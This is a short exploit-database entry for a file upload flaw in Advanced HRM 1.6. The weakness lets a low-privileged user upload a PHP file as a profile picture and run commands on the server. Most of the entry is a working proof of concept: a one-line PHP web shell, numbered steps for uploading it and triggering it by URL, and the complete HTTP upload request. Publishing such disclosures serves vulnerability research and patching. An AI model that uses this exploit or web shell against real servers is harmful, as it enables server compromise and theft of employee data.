Advanced HRM 1.6 - Remote Code Execution

vendor:

Advanced HRM

by:

Renos Nikolaou

7.5

CVSS

HIGH

Remote Code Execution

CWE

Product Name: Advanced HRM

Affected Version From: 1.6

Affected Version To: 1.6

Patch Exists: NO

Related CWE: N/A

CPE: a:coderpixel:advanced_hrm

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10

2018

Advanced HRM 1.6 – Remote Code Execution

Advanced HRM 1.6 allows users to upload arbitrary files which leads to a remote command execution on the remote server. An attacker can create a php file with malicious code and upload it to the server. Then, the attacker can access the file via the URL and execute the malicious code.

Mitigation:

Restrict access to the server and disable file uploads.

Source

Exploit-DB raw data:

# Exploit Title: Advanced HRM 1.6 - Remote Code Execution
# Google Dork: intext:"Advanced HRM" 
# Date: 2018-10-06
# Exploit Author: Renos Nikolaou
# Vendor Homepage: https://coderpixel.com/
# Software Link: https://codecanyon.net/item/advanced-hrm/17767006
# Version: 1.6
# Tested on: Windows 10
# CVE: N/A
# Description : Advanced HRM 1.6 allows users to upload arbitrary files which 
# leads to a remote command execution on the remote server.

# PoC
# 1) Create a php file with the below code:

<?php $cmd=$_GET['cmd']; system($cmd); ?>

# 2) Login to Advanced HRM portal as low priviliage user
# 3) At the right hand side go to Update Profile --> Change Picture ( http://domain/hrm/user/edit-profile )
# 4) Click Browse and upload your file containing the PHP code mentioned at step 1. 
# 5) Click Update
# 6) Right click at the Profile image and select Copy image Location
# 7) Paste the URL into your browser. Will be similar to: http://domain/hrm/assets/employee_pic/cmd.php
# 8) Verify the exploit: http://domain/hrm/assets/employee_pic/cmd.php?cmd=id

# The request:
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POST /hrm/user/update-user-avatar HTTP/1.1
Host: domain
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://domain/hrm/user/edit-profile
Content-Type: multipart/form-data; boundary=---------------------------6610657524685
Content-Length: 378
Connection: close
Upgrade-Insecure-Requests: 1

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Content-Disposition: form-data; name="image"; filename="cmd.php"
Content-Type: application/octet-stream

<?php $cmd=$_GET['cmd']; system($cmd); ?>

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Content-Disposition: form-data; name="_token"

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